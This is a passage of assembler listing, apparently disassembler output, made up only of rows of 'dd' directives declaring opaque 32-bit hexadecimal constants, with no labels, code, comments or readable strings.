		dd 0C06AE97Fh, 6862883Eh, 8E37832Ah, 0F4D03620h, 8948539Fh
		dd 2F7A784Ch, 0E619473Ah, 2DE63496h, 1D7BD500h,	0D657057Ah
		dd 9A12EADh, 0E955027Dh, 467F0DEFh, 1A3B0C1h, 34EB1475h
		dd 0AF762D58h, 71D5400Dh, 0EE8880A3h, 622765B0h, 617D7C96h
		dd 3E2882B0h, 4C591088h, 0B4B03953h, 7B5BB707h,	68661F80h
		dd 90154AE4h, 94CBE90Fh, 4E367C9h, 0BA176226h, 0B973AA02h
		dd 0ABC58044h, 9F096947h, 0F41E700Ch, 20F1B00h,	8145DDF7h
		dd 2C850AE5h, 3CF03CCh,	0EB72CFBEh, 7AE9300Bh, 25D046CDh
		dd 72E81FC5h, 563036B1h, 1D460C39h, 0C0194E35h,	2A3A86A9h
		dd 0D108B8FAh, 143E5358h, 3E69F2E9h, 0BDD1955Dh, 0BF4A9020h
		dd 5A7B15F2h, 0A5EDFCA2h, 77B8DC74h, 156A4A00h,	0BDACE976h
		dd 13635E82h, 5BE7B0C7h, 69A0D19Fh, 580704F7h, 40341098h
		dd 349D5E16h, 0D9212771h, 73073C5h, 9F0BE9C1h, 7B95DC14h
		dd 15583E24h, 0B391D72Dh, 0A421285Bh, 97B19400h, 129AB652h
		dd 471878E9h, 845BDA95h, 504FAC33h, 5124949h, 0CAF15159h
		dd 0C95D0702h, 0D5E436F3h, 9BCB83Ah, 166D7940h,	5F02D4D2h
		dd 16AB820h, 0C07324Ch,	4444DD59h, 0E91E0726h, 1530499Bh
		dd 0CE957780h, 89104CF0h, 1708C8Ah, 954E92C3h, 110C8018h
		dd 0E99720F7h, 0CC429F66h, 0E165B355h, 346AD372h, 0C59AFD71h
		dd 8DAB3268h, 0C9637E29h, 0CCB4C7Ch, 14B14D7Ch,	0F87D5917h
		dd 1BFDCD5Ch, 0BE81E7Bh, 0BF14BA8Bh, 0C1FCD3B7h, 3FD6B4E9h
		dd 4C202EE2h, 70BC42F6h, 2889BB01h, 0E12E6C7Ah,	52F12F61h
		dd 3793060h, 8110CF0Eh,	0CDB96FF6h, 0F6856A3Ah,	716B7880h
		dd 0BE445058h, 0FC300796h
		dd 1885E936h, 7B97491Dh, 0B27ABAF1h, 0A966CFECh, 5AEC8430h
		dd 0B1482F8Fh, 0A953832Dh, 6A4AE7A0h, 0C3A421E8h, 9BCD69CAh
		dd 0A48E5A45h, 5B55F24Eh, 0D0AA8B34h, 3B79C17Ah, 0C323130h
		dd 5912587Ch, 0A1720722h, 0A1215608h, 4AB1504h,	16873DB7h
		dd 0F94AD9ACh, 0AD5605C4h, 14843E75h, 471738E9h, 40A4713h
		dd 0C82C828Ch, 0A5BF39D6h, 0C3D5AC2h, 2DFD43D4h, 2E1BAF8Ah
		dd 0C00C056Ah, 95CC988Dh, 0E950AB80h, 70B9AD26h, 9F6513BCh
		dd 68E049FCh, 7B9F7073h, 0C3CD4239h, 8257F79h, 0EA0294D4h
		dd 5701CA26h, 0A1DAB70Ch, 4B6D0F39h, 17750EF4h,	0A97F8206h
		dd 0DF0979AFh, 90011070h, 9EA98611h, 7DEF87A3h,	53695F29h
		dd 692C2F45h, 5E7FE958h, 0A2AEB808h, 23C200D5h,	6100C777h
		dd 6853EA01h, 37ED1670h, 9F8A5B51h, 29302AA2h, 5D61B07Dh
		dd 405FB057h, 5E4B5498h, 6785FF7h, 0D14D6E6Fh, 8F00B8E5h
		dd 12D540Dh, 64A0E9F5h,	0A0303A67h, 81F39C34h, 68AEBCDh
		dd 2D301DB4h, 730A13E8h, 0C4931775h, 0D33EF253h, 0CC8FEA9h
		dd 1961A288h, 2B93405Ah, 59268931h, 1205AD6Dh, 0AB052E42h
		dd 80B85A17h, 4C741704h, 2AB78E16h, 455AC8A2h, 0B2FA0DC1h
		dd 0E629FE05h, 6A7C50F9h, 7AF1BE00h, 0EEC10E7Fh, 0ED6F809Fh
		dd 98622C2Dh, 63531877h, 8AEF7C71h, 4FFB7458h, 7C482DBDh
		dd 0F7708014h, 1863F0A5h, 7F8E75Ah, 0C8F187A1h,	0D92DE9CFh
		dd 20776606h, 2D4B11F6h, 0D8683E42h, 8075D131h,	271A0D75h
		dd 0CF32E945h, 0FD5160B0h, 0C22DFEEEh, 0F06DE4A7h, 0FCCBE97h
		dd 0D8E5FB89h, 0DE75AE0Eh, 604C1EE8h, 68131C30h, 46B71D05h
		dd 67905E1h, 0AA4B0277h, 12685628h, 3930DD2h, 0D0C0E941h
		dd 55E77114h, 67A501E5h, 0EAD11266h, 16FC57Eh, 5E09D072h
		dd 0FAD8DB7Ch, 733A2AD5h, 0EE8D5A89h, 0E9B2887Fh, 14E86F2Dh
		dd 0CFB400CFh, 8007ECC0h, 0E4ECA8F4h, 707B0CDEh, 5C4E0BDh
		dd 37FBB50Eh, 0B518D549h, 5D523D68h, 55985A0Ch,	286341EFh
		dd 0E2C1A073h, 0DD8C005h, 0E92ADF02h, 85AAF426h, 0CCE1BDBFh
		dd 3D47043Dh, 0AA822E1Fh, 630D41E9h, 0B5C340D0h, 0A906FF29h
		dd 0CA130F83h, 0B132959h, 2F9229ABh, 8784DBF2h,	0C6BB0957h
		dd 2056906Ch, 5E28EDB5h, 0B619C951h, 3D26B72h, 0EB9EF42Fh
		dd 2821BE3Ah, 0D422E336h, 42D96287h, 6800A7D1h,	1FFC62E2h
		dd 9525F22h, 442B973Ch,	60B1CCDEh, 8540033Bh, 543CA81h
		dd 0E915F978h, 4BE7AC89h, 0CA10FEA7h, 50642DFCh, 0C9236B90h
		dd 34FC807Fh, 95979F6Bh, 14418A92h, 495302B9h, 39680F6Bh
		dd 1E07F641h, 66EE37B2h, 0D2D19FFFh, 976CFA60h,	6F0B9D56h
		dd 586121E6h, 22A46837h, 0FD09313Fh, 0C8FF04DCh, 7C6FEEC7h
		dd 50E2E913h, 66AC2F57h, 0D20155DCh, 0E53093B5h, 9DAB36FCh
		dd 0A5EB5D90h, 454E0E7Dh, 9457F3C0h, 7DE92772h,	45658C09h
		dd 0BBC9869Fh, 626D5949h, 78ABAB2Ch, 0B571E7FAh, 386B9086h
		dd 32D54A6h, 0D5032270h, 0F725F82Bh, 8E7C0D7h, 498C374Eh
		dd 22FBA01Eh, 515E1793h, 5476E2DEh, 201EF4Fh, 6E072DF8h
		dd 936059BCh, 0F688A6E1h, 36C10737h, 0D2F13167h, 59A87E8Ah
		dd 50BC0289h, 28F70F4Bh, 0C30083Bh, 5DC55D06h, 1016BD51h
		dd 8F35F256h, 0B3B37705h, 12E8C100h, 3868C831h,	99CD154Ah
		dd 0B30097DDh, 0EB38804Bh, 0F9C5CBDh, 3C59EC88h, 85E1CBFFh
		dd 3EC5B07Fh, 0FB40955Ah, 553A1EC7h, 0B0529818h, 7D2C3CA0h
		dd 9AF073B2h, 178B5D0Bh, 0CEDD320Ch, 0F41E4616h, 7CBEDC24h
		dd 4C98E98Ch, 889D2DABh, 0E25AA4A0h, 4F2B58CCh,	0C23DA5EBh
		dd 2D7682CAh, 0F85DFA5Bh, 0C188251Eh, 586572F8h, 0C1E842F8h
		dd 4BB42818h, 16144ABEh, 7DA189Bh, 1C5F45A4h, 7019C660h
		dd 418E9D5Bh, 732587E8h, 4FC11001h, 0FBE93A70h,	79E497F9h
		dd 3E87E0B5h, 0FE6076EDh, 25785BA8h, 7DBCF421h,	3ED1BF4Bh
		dd 6436186h, 41CDC8Ch, 0C15A66F1h, 2F6A2D45h, 6851B030h
		dd 0FC534EE0h, 54BECAF4h, 52787EADh, 6049B852h,	36A85A0Ch
		dd 5821E3A7h, 27041D5Ah, 27FEC19Ch, 94AE8447h, 0D087F3DEh
		dd 0CFB6126Dh, 684538BAh, 6F167632h, 2F67AD1h, 454DF2EFh
		dd 0D441013Ah, 0C20844C7h, 5F028D34h, 83AF629h,	0DE275E7Bh
		dd 0F67427BAh, 57C1AE3Dh, 46060493h, 17CB71BCh,	0AA5A5DEEh
		dd 4A80DA16h, 48B3D825h, 7245B9Fh, 0E83D122Bh, 8C328EBh
		dd 8173E92Fh, 518BBECEh, 5C03FFC6h, 2C832EE8h, 1627A406h
		dd 0FEC0725Ah, 12AC1E5Eh, 9A9E15E9h, 0F373F939h, 687FE8EAh
		dd 0F4260999h, 2B005E4Eh, 43B1B86h, 49F08E9Dh, 4E21F2F6h
		dd 7154F077h, 58B98295h, 5BFBFE53h, 7E6847FCh, 94AF0D1Ah
		dd 53A7BD0Ah, 5427E8A5h, 5F834096h, 0AB9643D4h,	326F42Fh
		dd 19723C35h, 3ECCF5B0h, 5525EE98h, 9636F4BDh, 0FD53EA29h
		dd 366FB4D7h, 33E2C097h, 0FEE0EEF6h, 0AD056917h, 3A5DE449h
		dd 0E6627AE1h, 4B0FDB12h, 0B4FFC75Fh, 0D648B73Eh, 0DF046BF1h
		dd 68C5E92Bh, 587F12F5h, 4DCD223Ah, 2624839h, 0A90DB935h
		dd 86BD6266h, 60A63372h, 96F339E5h, 9DE12C57h, 4B8C0B44h
		dd 14AE0C1Bh, 98747737h, 8060433h, 0CC663004h, 0C1FE2CA9h
		dd 3E653D58h, 0E07B589Dh, 8AC14D81h, 2F90F07Dh,	0AA1AB16Eh
		dd 0FFB6CEF7h, 74BF5212h, 0C9DCEAF1h, 2FA7417Bh, 5BA17811h
		dd 5065F5A0h, 2F5F6BAh,	44F763BFh, 4FD6D2E9h, 0DC5B07AEh
		dd 22B79DEFh, 0EB96DDD5h, 0C5D274E8h, 4C39EBDEh, 9E852D54h
		dd 57052D0Bh, 0AB2D27A5h, 0E3A831D5h, 4E827B1h,	5D579001h
		dd 162E4FDDh, 0DB04EF21h, 53BAD831h, 85FA6083h,	1DA0C89Eh
		dd 0FD2F2BF2h, 2BB4C60h, 3EAE1779h, 4075E1C1h, 0F670D435h
		dd 4AE93D2Dh, 9F05B3DAh, 68AD54BDh, 1523B831h, 3B636E78h
		dd 3AEC91D2h, 16227D52h, 0F5F3B890h, 0CD5FCD3Ah, 0E1F209D5h
		dd 0F8613AF2h, 5100AE5Dh, 0E8F9ACB9h, 0A1B52150h, 0F20F54C6h
		dd 0D6B1C07Fh, 0D8C07546h, 7CE89AF5h, 0F060BD4Ch, 551C5253h
		dd 48A4CCE9h, 2F089F40h, 4E9DF6FEh, 0B343ECB8h,	0D95EF151h
		dd 57971C8Bh, 0FB0CD96h, 41D271B7h, 0C9D5875Dh,	0B1AF71FAh
		dd 0EA311008h, 0D00487CAh, 0E905C284h, 0B2AF41AFh, 60D528BCh
		dd 0ED4E806Eh, 0E99750C0h, 3F0EB60Fh, 0FEA5EBBBh, 4CB578F0h
		dd 0BB65A99h, 820259BAh, 0C9D114A4h, 119B9Ah, 4A317EA3h
		dd 0E805FD4Ch, 0CE8704E8h, 8EAFB3B5h, 10D64C70h, 0BB02ED28h
		dd 40833274h, 0A570F841h, 19090Dh, 243895F9h, 0CF01284Bh
		dd 0E90880A7h, 32B84E80h, 0CDEA11FCh, 0FBAE32EEh, 8A6FD141h
		dd 56A34FD2h, 9EDF5CCBh, 8FB92AF9h, 0FC215091h,	95644343h
		dd 0BE1CC57Eh, 613B61CDh, 98D338h, 0EC1DFEBAh, 0E2D12F19h
		dd 494020E2h, 1895564Dh, 3E206EDAh, 4FA74146h, 515D36C0h
		dd 27685602h, 6C11266Fh, 7C5DB07Fh, 73F927F3h, 0E6554DE2h
		dd 41707EEh, 0E7D6F76Ah, 0AFC8BBE6h, 78975CFFh,	81969319h
		dd 0E1E9E6D1h, 54906F67h, 58D206BFh, 0F205FE3Ah, 0AA3CB6EAh
		dd 0F8E36D81h, 0F9212683h, 8C9C15Fh, 65723149h,	7C092AE7h
		dd 0D78157DEh, 0B179CC6Ch, 5AA24A8Ah, 0CE30AEFDh, 8A9196F2h
		dd 0A78575D0h, 8F62137Eh, 48255ED7h, 8CA30899h,	2C5F6801h
		dd 0E12C674Ah, 190735A0h, 2D072671h, 0C3403B6h,	3831A6A1h
		dd 5FA9E9F8h, 98BBE205h, 1373BE7Bh, 0AC267577h,	75BCDA3Eh
		dd 54EAFAA7h, 7640EBB0h
		dd 0FB5ADC6h, 16E91A6Ch, 8676D16Fh, 8D01644Fh, 891201CAh
		dd 0D3009EAh, 39B5BA22h, 0A20F8B5Fh, 0FD11DEE0h, 2FCACE9Bh
		dd 6575DFEAh, 0D8F9AEAh, 3F09EBFCh, 0B5A1DF06h,	8025EFF6h
		dd 19CFEE0Ah, 9E3AD668h, 0BDA74FD3h, 0F522CC86h, 0B0602F3Ch
		dd 54E50E45h, 0ED0AC35Fh, 0ACE4379Ch, 4FE05B28h, 22F7E4Ch
		dd 0E9192235h, 1C5492CAh, 0D2645552h, 3BC23920h, 260F1BBDh
		dd 49644573h, 66DDD7DDh, 0DB4F18Ch, 0CDF733A8h,	0EBE67BEBh
		dd 9A3FC93h, 8922B067h,	95A554A5h, 804EAC60h, 45FDDC93h
		dd 0D931B71Fh, 5482648Bh, 13EFC2B3h, 6870637Ch,	2F93BDF9h
		dd 0E38CBAFDh, 0EC645E36h, 0D2DAC4A7h, 37F50113h, 3B172E16h
		dd 0E1A847C5h, 0C49393DFh, 0C781AA3Fh, 8104A27Ch, 0CC26C3E8h
		dd 0F3ECE4CBh, 0DA88EE0Fh, 0A2E2865Bh, 0FEC52706h, 0ED85C6E1h
		dd 2DE9F4C2h, 2FF690A9h, 4E907844h, 91D3BABDh, 0FEB049h
		dd 4195840Fh, 4FAA416Fh, 0D2FF6902h, 0C92B5FEBh, 32D76BAAh
		dd 8BFBDE07h, 967D8EA1h, 3F7B9711h, 630B9B60h, 531AB530h
		dd 0F46A6440h, 0E9CF9C09h, 0BBFFC002h, 0EED8094Fh, 2A7E3196h
		dd 54AA5EAFh, 1C5F2113h, 0A803EF38h, 48F0688Dh,	7ED88151h
		dd 0A32615D2h, 9399D73h, 0B1961h, 4D71D79Eh, 9F902Eh, 0F136ADE4h
		dd 0F75EF589h, 0C4E9DD4Bh, 53790C78h, 88D60ADEh, 0F936B616h
		dd 3A691FF8h, 0D0DD297Dh, 0B516208Fh, 1F1D0B7h,	0DEF6EDB6h
		dd 0D5BFE680h, 39C6D4D6h, 8A1BEEF0h, 0AD10CE28h, 0EBEB708h
		dd 13E4D5F6h, 689E9073h, 882B7734h, 0E905FA1Fh,	4AFDA6B2h
		dd 401D4A77h, 0AC685084h, 3B00046Eh, 2BD82D58h,	9C89FDB2h
		dd 0CEA53E13h, 2A0A6E6h, 0FABC7CF0h, 0BE4F2A82h, 209D0074h
		dd 687B0DE5h, 0C9A3364Fh, 543ED704h, 530810Ah, 0A0BD515Bh
		dd 0F4CC7C1Bh, 0C7449AC8h, 0A01EB911h, 0CB315CEEh, 56F9595Eh
		dd 4080D42Fh, 0EF20ADBAh, 0A96BBEF4h, 0A906570Bh, 872CED1Eh
		dd 84680FEh, 90506407h,	2ABF0090h, 4C03A126h, 277D204Fh
		dd 27A2C86Fh, 570B795Dh, 0D0123AB3h, 38EFE4A7h,	0B00050E5h
		dd 2870B617h, 265158C6h, 12651BB1h, 0FD1EF460h,	24A56C0Bh
		dd 42FB864Dh, 0F222A006h, 30A204Fh, 7B21CE13h, 0FC692B90h
		dd 0C86600Ch, 462704D5h, 0E93540B7h, 8001406Dh,	9C43CF39h
		dd 0F81FC7F7h, 4F838755h, 52CB0CB8h, 0FCB2281Bh, 6EED0505h
		dd 1101AC4Bh, 0C20E585h, 104C6734h, 86D36EEh, 352F9B6h
		dd 136F6A9Bh, 0AE26F177h, 6CDFC81Eh, 5E6BEDAEh,	0D81047CEh
		dd 56B82500h, 272D153Fh, 40F6520Ch, 5A5A6C62h, 1844035Bh
		dd 60BA30D9h, 6E480B4Eh, 0C98180F3h, 0B4662F7h,	0AFDCBBA2h
		dd 0AD59792Dh, 2C4C27Eh, 33581FE2h, 13AEDA5Bh, 7C934EE9h
		dd 0B84DD8EDh, 0D5F70159h, 0E901C583h, 27F72C9Eh, 6EEB0141h
		dd 928344B4h, 4F921225h, 26F80C4Ch, 0C101818Bh,	0D75741BCh
		dd 686AF03Bh, 0B0157F20h, 0E88E41B1h, 15C46B9Dh, 0F167685h
		dd 4A090AB8h, 0D9B434D8h, 0F5987302h, 506CDCD5h, 0E258CEE9h
		dd 0C057CA57h, 0E5998342h, 0D8F7094Eh, 0C2038F75h, 8475C62Ah
		dd 0BD0054D4h, 13AD6080h, 6E4982A0h, 122AA25Ch,	0FF6072E5h
		dd 99C3E10h, 0DFBBE961h, 0EBD10948h, 414E4B7Ah,	0EDC07A80h
		dd 706C004h, 2834C580h,	85CCE858h, 3CB49436h, 4C7B702Ch
		dd 4201D038h, 0E90FE547h, 0AFE72E89h, 0F6582A13h, 0E572429h
		dd 76A74F2Ch, 0BB72C94Bh, 0E2365A02h, 78FFE976h, 68F3B547h
		dd 35E90FCCh, 0C0DB4ADBh, 0B50D956Ch, 0F1B12AEFh, 71289000h
		dd 5A2C65B7h, 4FCB8A6Dh, 0C384D2BDh, 1A816D9h, 622AC04Bh
		dd 9ACBCE1Eh, 4BFA51F9h, 0AEBC147Fh, 496817AFh,	252CC58h
		dd 36DC5F4Fh, 5EDB7D09h, 283E8014h, 43D75AD3h, 6D9FA8A9h
		dd 2B1AF9D0h, 5F1772E9h, 94497E07h, 3D81A8BAh, 0AA3D6F01h
		dd 559DFDBEh, 0C1A8E096h, 0C24AD6A6h, 680B8BE3h, 18DF2EF7h
		dd 126FBF8Bh, 80708C0h,	0C789E156h, 0C2B35402h,	0B09B90E0h
		dd 0BE091AC1h, 1260D849h, 2CE8A196h, 935D5089h,	0B91E1924h
		dd 0F4D0FFEFh, 0FB2C065h, 5647F700h, 70E78162h,	0A8394B69h
		dd 0C8B60680h, 5F7886B2h, 0EB5537A4h, 12BF1074h, 0F6B76ED3h
		dd 966D444Bh, 0C582EC05h, 0D8AB85B2h, 0DE49C204h, 0ED790546h
		dd 98BC2A2Dh, 9D22926h,	9DE8AF12h, 5B80F038h, 4E004C0h
		dd 0EB88912Ch, 0CBE99861h, 0B72D7F74h, 4365E82Bh, 0B0D8290Bh
		dd 1294BBE2h, 0BB3F5A3Eh, 3EC5C914h, 33629740h,	30368F00h
		dd 914669C8h, 0B7AF0282h, 307071B1h, 18176815h,	0D7AC10F6h
		dd 0B7F8BE40h, 4866C1C1h, 495A3588h, 55FEE29Dh,	2527E2C4h
		dd 8A941849h, 0D58E7B13h, 775E9C4Ch, 0D3A4D236h, 2E17A168h
		dd 0D839F72Fh, 0C80D95FEh, 3240FE6Fh, 95056BE7h, 860DE977h
		dd 0B14F9BF4h, 0B2C11765h, 0B7AA7BE8h, 0F5058F5Eh, 55F1A162h
		dd 7113E115h, 0E07952BBh, 0AC487AA0h, 2B68CE12h, 46C62Ch
		dd 497F671Fh, 8108EFC1h, 7D7AF700h, 61E936A6h, 803CC388h
		dd 0F69901EEh, 880CA846h, 3B4CF920h, 67FDF231h,	96F80FB6h
		dd 574E08C7h, 271BF3A8h, 17B09DCAh, 97C8C5h, 515087B0h
		dd 0ABD2971Dh, 82590881h, 5D20421Eh, 75285564h,	68570708h
		dd 0C55F2F0h, 29171857h, 411D6FAh, 0E2CEF492h, 194A78DDh
		dd 25B12100h, 3980D9F6h, 0C99634C1h, 4EBAE233h,	0CE28EBFCh
		dd 8EB32C57h, 8831133Fh, 734FFBA8h, 616E1B46h, 0EAC2012Dh
		dd 1D36FACh, 9F3B41D5h,	0CBEA0582h, 59FD40EBh, 794A4214h
		dd 0D5D34E6h, 0A2E99F06h, 82799427h, 0C3618724h, 0A5C90DF4h
		dd 4E045478h, 0D218C6F9h, 0C948FE06h, 0C12044h,	0D013A2BBh
		dd 5BDA29F5h, 0A5C0524Fh, 5B142B27h, 121BC450h,	6978E307h
		dd 0EB0698AAh, 8FF582FCh, 2DE7683Dh, 0CF561848h, 4E88083h
		dd 51590B5Fh, 58043CB1h, 40F81396h, 0D5C24C73h,	0ABEF5E85h
		dd 4DCF7E8Ch, 0F13FE7F4h, 0B8647C92h, 7EC3CB35h, 0A8D569BBh
		dd 2A02A103h, 5763CA04h, 68E9BF01h, 58A72851h, 8CEBB54Ah
		dd 0B35E9E1h, 60EF2A5Dh, 79B7538Ch, 0FD9C07BFh,	9CE9D700h
		dd 4B4F94A4h, 0C4239901h, 7D2BF45Eh, 12BB5380h,	0BA292226h
		dd 443EE09h, 71E706A4h,	0AFC33117h, 5FE64031h, 464FEC0Ch
		dd 77A6E1BCh, 3CBFB538h, 4CD84AEBh, 3A924154h, 5561C801h
		dd 0B9FD6521h, 0B0EA15E0h, 0C91F2085h, 3A75A4Ch, 496B7283h
		dd 55B5EF4Eh, 9B5095C8h, 25B521C4h, 79B37450h, 6816BE22h
		dd 0E7C96AD1h, 52625F20h, 540687F2h, 8A498C3Eh,	0D00D506Bh
		dd 22E0B702h, 2D81CED7h, 42F9A52Fh, 0C5DDB5B3h,	65DE2645h
		dd 5BA092EAh, 8B93EFFDh, 96766994h, 26A038BFh, 7CA5D2B0h
		dd 0C04B88C2h, 280FF420h, 695AD488h, 67A05F75h,	0F34BBDE7h
		dd 2FE1A58h, 0F79EFE4Ch, 89275E05h, 612BCDE9h, 4A1E965Fh
		dd 0A374C220h, 0D2A3BBFDh, 27BEF8C5h, 4024C828h, 2ACAF1FCh
		dd 0C404C5BDh, 0A8E0828Fh, 53E90B40h, 31EBEDF9h, 81729447h
		dd 0F64FED25h, 823A0B23h, 0B85C282Bh, 9D05AD01h, 0C3CAA102h
		dd 73CE9BDh, 0AC07242Eh, 4201D3A0h, 69091BDDh, 817A9E46h
		dd 9C6A5808h, 8FDD5DC6h, 2A9EC049h, 56151F03h, 0D64530A9h
		dd 0C58906F0h, 0D8DB09D0h, 262E683Fh, 1C69C45Ch, 52FF949Fh
		dd 1823580h, 4901E7Ah, 0F346B009h, 249058F4h, 8808F755h
		dd 68044F97h, 2CFA313Fh, 0F54A29C7h, 877D28EEh,	0B9B8D395h
		dd 937E3ACh
		dd 16684ADEh, 4B3D060Fh, 0BBCC9303h, 966A3B89h,	9CBE5894h
		dd 0C83AE98Bh, 0F6B2C578h, 0DA7B507Ch, 3690BAFh, 0A751582Dh
		dd 514974ADh, 1CB3C62h,	31B3CB8h, 0F2F0915h, 5900F176h
		dd 0D4E92A7Eh, 0F626FB6Bh, 3B6602D7h, 0C8401D7Ch, 32807C0h
		dd 0F613E974h, 0BC0610E2h, 7DCC59C8h, 52D62E0Ch, 99E905A8h
		dd 0D6B8A367h, 0D5A57D82h, 548F8985h, 125AD610h, 0C664FAB4h
		dd 414D5AC8h, 92143090h, 12FCB638h, 0C1AA59CEh,	6B5BFD28h
		dd 0B1CD8380h, 38B61752h, 0E0250C53h, 40EA0538h, 8965B40Fh
		dd 0C89589C1h, 2F9DE1C5h, 52D0D967h, 0F342273Eh, 0DEDE8969h
		dd 0B0D00BDh, 2D483B5Ah, 0CDA008FEh, 8D690FE9h,	0C8650E93h
		dd 68023B44h, 70605C38h, 40280F47h, 0A97A7C02h,	50DAE978h
		dd 5B9376F9h, 0BFBA0043h, 2D6F71DDh, 4203B3B8h,	0D11B9F32h
		dd 47D7B9E7h, 7CD406A5h, 0FE460800h, 819DA1E9h,	82C2B85Ah
		dd 112D52Ch, 8D888F9h, 0C98C7E25h, 98EE1E5Fh, 54964073h
		dd 5F205B77h, 88019606h, 6812C57Ch, 6110FE01h, 2F632C8Bh
		dd 21FC901Bh, 1C945150h, 1266F9B5h, 9EF493Fh, 30DC15Fh
		dd 0E9C0213Eh, 8CC42BFDh, 5C28D28Bh, 0E96013EBh, 0C0D4C00Ch
		dd 800302EEh, 0F12809C6h, 0DB16855Ah, 719CAC21h, 9A6FB005h
		dd 0C4AFE7E1h, 371ABEAEh, 0E9B4FFBAh, 0B667E913h, 0B88A74A3h
		dd 6BC26298h, 974699F5h, 47909B45h, 48C9F180h, 0AE675528h
		dd 53F69004h, 0E0B5682Ch, 9F5C340Fh, 32A0CB9Ch,	3580BCE8h
		dd 672F1E55h, 0B16F9313h, 64F16E2Ch, 8B38ABE1h,	0E0A05D28h
		dd 75C688A4h, 236C4116h, 8B10D1FCh, 255C3B94h, 480CFA1Dh
		dd 0C50049EAh, 43177A2Dh, 3B12E381h, 0F700FE31h, 0DF6CD4F3h
		dd 51C8A03Ch, 0B830403h, 0AAE6C7E9h, 9DD798A2h,	83342A7Fh
		dd 0E90A07FDh, 929A5B64h, 0E2F2ECD7h, 6F5FDE8Ah, 3163D225h
		dd 39688409h, 0B72B10DDh, 0B5038583h, 3429FC95h, 0B4870604h
		dd 8700CAB4h, 0D7BF57FAh, 16B4B12h, 0B428B300h,	0FC29FE94h
		dd 97EAF6E9h, 58C4C1F9h, 0DD9C2AC1h, 6804E432h,	0BB6FC67Bh
		dd 45051380h, 0F8C73CD9h, 6798C132h, 95028308h,	59761B29h
		dd 253A3AEFh, 87E97D0Bh, 0BCFD04A9h, 58F99731h,	0DABBE989h
		dd 0A2F74E45h, 0AE5E3E0Ah, 9348AB3Eh, 71C9E512h, 51AD72Bh
		dd 0C4D3E868h, 51675DCh, 0E5BBE669h, 7317C9DAh,	25BE48D9h
		dd 91B8BFEh, 57D66241h,	0BE8EDA6Fh, 0E706F7B0h,	35A0F721h
		dd 0C56F6693h, 0EE0D9C0Dh, 0CB985D4Fh, 0F00CB8C6h, 0E371C0ADh
		dd 6E653463h, 5A01EBECh, 0E96BF766h, 2289B3E5h,	0FFD4CFEh
		dd 87AFDD74h, 0C3350B4Eh, 0C3F31B83h, 1EEEAFEBh, 4001FC6Dh
		dd 7F3C02BFh, 0C290316Eh, 0E1CE80C4h, 3C2C9585h, 7F929C4h
		dd 0C9390B8h, 0E859D221h, 1E55BED1h, 89622D45h,	0E253653Bh
		dd 7E521013h, 94FCCAABh, 9FB4AE0h, 0F9F25983h, 86B479B8h
		dd 0D8EE80E3h, 0C942B353h, 9586AEE6h, 5A66ECE2h, 140667EEh
		dd 94DE300Ah, 5C186420h, 0E3594431h, 8DC588D4h,	4C755505h
		dd 0CC82EB29h, 2D5802FEh, 16AC5057h, 0B9C23159h, 32049276h
		dd 0FB5D218h, 4B0E04A8h, 1973132Ah, 7AB25846h, 761053C5h
		dd 7E5B2F08h, 0EB0158FDh, 5396C95h, 621611C3h, 4143AD7Fh
		dd 0C9C64408h, 0EFDD6B49h, 17017120h, 0A10A2364h, 0DB002081h
		dd 16F50307h, 0F15B81E9h, 52F281ADh, 3E76B450h,	5196D405h
		dd 0CA1E3CA8h, 0B47A459h, 0F4D16841h, 0D5884B96h, 68E54006h
		dd 98615027h, 74A36A3h,	0DFF753DAh, 6463687h, 0DDC0D14Bh
		dd 4C965B65h, 0D7106915h, 5A5409DDh, 380DB57h, 6B854932h
		dd 1C90AAC4h, 4A7AB6D2h, 0B941AA94h, 55D8E950h,	584D869h
		dd 4801080h, 6DDD2D78h,	14964EC0h, 2174072Bh, 1B475AD7h
		dd 3E583180h, 889019EEh, 1AC5B609h, 0C70B554Ah,	694B2FD5h
		dd 0A0C556A9h, 2A6B97CFh, 3631EAF5h, 3865A8E9h,	2F81B56Eh
		dd 0DB056F90h, 6E8B0F0Bh, 0B985252Dh, 0CE8BC21Ch, 0DEEA8100h
		dd 37B3013h, 0BC51A60Ch, 1DF87C5Bh, 3C9D487Eh, 8FDE2B85h
		dd 0BFE05048h, 0ABC57D82h, 9C053190h, 0AD3F47E9h, 25F8D2C9h
		dd 0B107D44Ch, 6AC828AFh, 0F68D15A3h, 930AB65Fh, 92BFBCC5h
		dd 61688968h, 0B780C22Bh, 0FD882827h, 84FC5F8Dh, 8482ADA9h
		dd 6802A81Ah, 214670DFh, 515D1B97h, 0B1CB30Dh, 43272CE9h
		dd 127FA83Dh, 1403499Fh, 3E4C7F21h, 94C39A03h, 0E4252966h
		dd 5B7DFC55h, 0E6752082h, 4BDA28F7h, 5B50167Ch,	440EE095h
		dd 15D5A3Bh, 0A86B951h,	0F720084Eh, 0C496188Ah,	34BA30C1h
		dd 7E74DA2Fh, 9208A0EAh, 58499825h, 2C8460DDh, 7CCB1E95h
		dd 65E1AF3Eh, 8A45E06Dh, 0F1357FC8h, 0BFC914ECh, 62DD56CAh
		dd 7E0B40E5h, 0E0055E4Ch, 4A714360h, 0DE290100h, 17F32D5Bh
		dd 2803B85Fh, 970705F0h, 2547D3h, 0BB023B87h, 0ADAE9768h
		dd 8005F5A8h, 0EBC2D0E6h, 69C35F70h, 930FD9Dh, 0ACC8E952h
		dd 419FD82Eh, 0F62120A5h, 0EAC0D201h, 0D7B55106h, 0BCF3B5C3h
		dd 0F54A2825h, 0FFE51C85h, 0F92FB38Ah, 23C6DD09h, 0E2686612h
		dd 0C5AB2C05h, 4F3CBEE4h, 0C27C7402h, 0A15648C3h, 55964962h
		dd 56008A9Eh, 0DF5E6B68h, 0B6B1E90Dh, 91F717EAh, 23DA87Dh
		dd 59505DB9h, 0A0CB012Eh, 3038C45Ah, 0E2BD94E5h, 0D82F0B1Fh
		dd 0EAE6856h, 0B714F008h, 80F44B0Bh, 0BB10E66Ah, 25783459h
		dd 0F5D4A915h, 0C19B7C6Bh, 72F339E9h, 62DB01D5h, 0EE8109D7h
		dd 10D2CD3h, 82E9E215h,	945D9C4Ah, 4FFA90CDh, 82E396h
		dd 0AF566105h, 98D80133h, 0EB0883A4h, 26F0F9BDh, 0A12DB020h
		dd 0D9D85A07h, 7DAD1E23h, 19596F68h, 21A4B980h,	0B04974C3h
		dd 0D000950Ah, 9845C2Bh, 90BC5DEAh, 4BFDED81h, 99ED2A56h
		dd 0D95B0328h, 0FC616BFDh, 0B700DC05h, 0AB4EB5B6h, 52C9709h
		dd 5981E84Dh, 5D81CB4Eh, 0EB6462C2h, 301F2854h,	0A5EA1948h
